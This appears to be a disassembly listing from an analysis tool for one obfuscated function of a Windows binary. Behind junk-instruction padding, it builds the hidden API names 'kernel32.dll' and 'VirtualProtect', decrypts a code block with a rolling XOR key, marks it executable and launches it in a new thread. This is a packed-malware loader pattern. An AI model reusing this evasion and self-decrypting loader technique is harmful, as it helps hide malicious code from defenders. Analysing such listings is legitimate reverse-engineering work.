Function at 0x409d83
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc edi
dec edi
popfd
call fcn.0040a1c8
pushfd
push esi
add esp, 4
popfd
push eax
push edx
pop edx
pop eax
lea eax, [ebp - 0xd8]
xchg ebx, ebx
pushfd
push 0xdf367811
add esp, 4
popfd
mov ebx, 0x61
push esi
pop esi
add bx, 0xa
pushfd
push ecx
add esp, 4
popfd
push edi
push esi
pop esi
pop edi
mov word [eax], bx
pushfd
xor edi, 0x7ec43385
xor edi, 0x7ec43385
popfd
sub bx, 6
pushfd
inc ebx
dec ebx
popfd
xchg ebx, eax
xchg ebx, eax
mov word [eax + 2], bx
mov edx, edx
pushfd
xor edi, 0x49e471eb
xor edi, 0x49e471eb
popfd
add bx, 0xd
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 4], bx
push edi
pop edi
xchg edx, edx
sub bx, 4
xchg ebx, ecx
xchg ecx, ebx
mov word [eax + 6], bx
xchg edi, ecx
xchg ecx, edi
sub bx, 9
pushfd
xor esi, 0x4121efa6
xor esi, 0x4121efa6
popfd
xchg edi, edi
mov word [eax + 8], bx
pushfd
xor edx, 0x90d1b6da
xor edx, 0x90d1b6da
popfd
add bx, 7
push edi
push edx
pop edx
pop edi
push edi
push ecx
pop ecx
pop edi
mov word [eax + 0xa], bx
pushfd
push 0x93115961
add esp, 4
popfd
sub bx, 0x39
mov edx, edx
push ecx
pop ecx
mov word [eax + 0xc], bx
pushfd
xor eax, 0x7afdad94
xor eax, 0x7afdad94
popfd
dec bx
push esi
push edx
pop edx
pop esi
mov word [eax + 0xe], bx
pushfd
inc eax
dec eax
popfd
xchg edx, edx
sub bx, 4
xchg esi, esi
mov word [eax + 0x10], bx
nop
pushfd
xor edi, 0x939b5e64
xor edi, 0x939b5e64
popfd
add bx, 0x36
pushfd
inc eax
dec eax
popfd
mov word [eax + 0x12], bx
pushfd
push eax
add esp, 4
popfd
xchg ebx, ebx
add bx, 8
push edx
push esi
pop esi
pop edx
mov word [eax + 0x14], bx
xchg ecx, edx
xchg edx, ecx
pushfd
xor ebx, 0xf7d7451f
xor ebx, 0xf7d7451f
popfd
mov word [eax + 0x16], bx
pushfd
xor edx, 0x81854d4
xor edx, 0x81854d4
popfd
pushfd
xor ebx, 0x70ad31b9
xor ebx, 0x70ad31b9
popfd
mov word [eax + 0x18], 0
pushfd
push edx
add esp, 4
popfd
push ebx
push edi
pop edi
pop ebx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push ecx
pop ecx
mov dword [ebp - 0x10], eax
pushfd
xor ecx, 0x2d5aeb9c
xor ecx, 0x2d5aeb9c
popfd
mov esi, esi
lea eax, [ebp - 0xd8]
nop
mov ebx, 0x61
push edx
push esi
pop esi
pop edx
sub bl, 0xb
xchg esi, esi
mov edx, edx
mov byte [eax], bl
pushfd
push 0x1a233a1e
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
add bl, 0x13
pushfd
push eax
add esp, 4
popfd
pushfd
xor ecx, 0xbd16dca7
xor ecx, 0xbd16dca7
popfd
mov byte [eax + 1], bl
xchg edi, edi
mov eax, eax
add bl, 9
xchg esi, ebx
xchg ebx, esi
pushfd
inc esi
dec esi
popfd
mov byte [eax + 2], bl
pushfd
push 0xa0b7ab8a
add esp, 4
popfd
add bl, 2
push edx
push edi
pop edi
pop edx
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
push 0x1c44501b
add esp, 4
popfd
inc bl
pushfd
push 0x9b24e4e9
add esp, 4
popfd
mov byte [eax + 4], bl
nop
push ebx
push ecx
pop ecx
pop ebx
sub bl, 0x14
pushfd
push 0x9998007b
add esp, 4
popfd
xchg edi, edi
mov byte [eax + 5], bl
xchg ecx, ecx
xchg ecx, ecx
add bl, 0xb
push esi
push edx
pop edx
pop esi
pushfd
push 0x7749ea1c
add esp, 4
popfd
mov byte [eax + 6], bl
pushfd
xor ebx, 0x68c9caae
xor ebx, 0x68c9caae
popfd
mov edi, edi
sub bl, 0x1c
pushfd
xor edi, 0xa13dd615
xor edi, 0xa13dd615
popfd
pushfd
push 0x9cc8f11b
add esp, 4
popfd
mov byte [eax + 7], bl
pushfd
inc edi
dec edi
popfd
add bl, 0x22
xchg esi, eax
xchg esi, eax
mov byte [eax + 8], bl
push edi
push esi
pop esi
pop edi
sub bl, 3
xchg edx, edx
mov byte [eax + 9], bl
xchg edi, ebx
xchg ebx, edi
pushfd
push ecx
add esp, 4
popfd
add bl, 5
push edi
pop edi
mov byte [eax + 0xa], bl
pushfd
inc edx
dec edx
popfd
mov eax, eax
sub bl, 0xf
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0xb], bl
mov eax, eax
pushfd
push 0x3e14765b
add esp, 4
popfd
sub bl, 2
pushfd
push 0xe29ff296
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
push 0xa4c964f9
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
add bl, 0x11
xchg esi, esi
xchg ecx, ecx
mov byte [eax + 0xd], bl
push ebx
push edx
pop edx
pop ebx
mov byte [eax + 0xe], 0
pushfd
xor edi, 0x2b4785fd
xor edi, 0x2b4785fd
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
inc edx
dec edx
popfd
mov dword [ebp - 0xc], eax
pushfd
push 0x611f01d0
add esp, 4
popfd
mov edx, edx
lea eax, [ebp - 8]
xchg edi, ebx
xchg ebx, edi
pushfd
xor ecx, 0xb32b5dfd
xor ecx, 0xb32b5dfd
popfd
push eax
push 4
push 0xce5
push entry0
call dword [ebp - 0xc]
push ebx
push edx
pop edx
pop ebx
pushfd
xor eax, 0xdaa4b52a
xor eax, 0xdaa4b52a
popfd
mov edi, entry0
push esi
push edi
pop edi
pop esi
pushfd
inc eax
dec eax
popfd
mov esi, 0x40100e
pushfd
push ebx
add esp, 4
popfd
mov ecx, 0xce5
pushfd
inc edi
dec edi
popfd
push esi
push ecx
pop ecx
pop esi
mov edx, 0x679eba6
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0xffffbf5f
pushfd
push 0xcafb2f6e
add esp, 4
popfd
xchg ebx, eax
xchg ebx, eax
cld
mov ecx, ecx
lodsb al, byte [esi]
xchg ecx, ecx
xor al, dl
xchg edx, edx
stosb byte es:[edi], al
mov ecx, ecx
ror edx, 5
xchg esi, esi
imul edx, edx, 7
xchg edx, edx
test ebx, 1
mov edx, edx
je 0x40a136
mov edi, edi
add esi, 0xb
xchg edi, edi
ror ebx, 1
xchg esi, esi
dec ecx
mov edi, edi
test ecx, ecx
mov eax, eax
jne 0x40a10f
pushfd
push eax
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
xor ecx, 0xb64a0f10
xor ecx, 0xb64a0f10
popfd
pushfd
push 0xea3c25bc
add esp, 4
popfd
push eax
push 0x20
push 0xce5
push entry0
call dword [ebp - 0xc]
xchg edi, ecx
xchg ecx, edi
lea eax, [ebp - 4]
xchg ecx, edx
xchg edx, ecx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg ecx, ebx
xchg ebx, ecx
push eax
push edx
pop edx
pop eax
pushfd
push edi
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push edx
push edi
pop edi
pop edx
jmp 0x40a1a1